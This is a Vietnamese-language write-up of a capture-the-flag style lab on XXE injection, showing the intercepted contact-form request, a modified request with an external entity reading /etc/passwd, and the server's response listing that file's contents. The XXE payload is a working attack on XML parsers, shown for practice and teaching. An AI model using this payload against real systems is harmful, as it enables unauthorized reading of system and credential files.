Basic XXE Lab


  • Kiến thức để giải bài này tôi đã nói sơ trong bài Exam XML External Entity (XXE) Injection . bạn có thể xem lại video hướng dẫn về XML ở Đây!

This lab contains a XML External Entity Injection (XXE) vulnerability that leads to unauthorized access to local files within the system. To complete the lab, exploit the XXE vulnerability in the contact form on the web page and access the contents of the /etc/password file. What is the username of the last user added in /etc/passwd?

  • Ban đầu tôi xem trang web thì thấy nó là 1 trang đăng kí cái gì đó , nói chung là có form nhập và gửi . Tôi dùng Burp Suite để đọc gói tin gửi đi thì nó có dạng này :
POST /contact.php HTTP/1.1
Host: live-iron-monger.europe1.hackviser.space
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/xml
Content-Length: 294
Origin: https://live-iron-monger.europe1.hackviser.space
Referer: https://live-iron-monger.europe1.hackviser.space/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive

<contact>
        <firstName>abc;</firstName>
        <lastName>lbsavc</lastName>
        <email>kok123@gmail.com</email>
        <message>hi , my name kok</message>
</contact>
  • Với gói tin này tôi biết được nội dung được gửi đi là xml nhờ : Content-Type: application/xml . Như đã được biết , xml có lỗ hỏng XXE có thể khai thác nếu sever không chặn DTD . Bài này cũng basic nên cũng không làm khó nhiều !
  • Tôi sửa lại gói tin và mục đích là làm cho nó phải lấy nội dung của file /etc/passwd thay vì lấy input của tôi .
POST /contact.php HTTP/1.1
Host: live-iron-monger.europe1.hackviser.space
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/xml
Content-Length: 294
Origin: https://live-iron-monger.europe1.hackviser.space
Referer: https://live-iron-monger.europe1.hackviser.space/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive

<!DOCTYPE abc [
<!ENTITY kok SYSTEM "file:///etc/passwd">]>
            <contact>
                <firstName>&kok;</firstName>
                <lastName>lbsavc</lastName>
                <email>kok123@gmail.com</email>
                <message>hi , my name kok</message>
            </contact>
  • Vậy là tôi nhận được kết quả :
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 29 Sep 2025 02:36:48 GMT
Content-Type: application/xml
Content-Length: 1709
Connection: keep-alive
Vary: Accept-Encoding

<?xml version="1.0" encoding="UTF-8"?>
        <contact>
            <firstName>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
hackviser:x:1000:1000:hackviser,,,:/home/hackviser:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
optimus:x:1001:1001:optimus,,,,my user:/home/optimus:/bin/bash
</firstName>
            <lastName>lbsavc</lastName>
            <email>kok123@gmail.com</email>
            <message>hi , my name kok</message>
        </contact>

==> Đáp án là : optimus

Basic XXE Lab

Author

Kai0Kid

Publish Date

09 - 29 - 2025

License

Unlicensed

Avatar
Kai0Kid

Bạn tìm gì ở tôi ?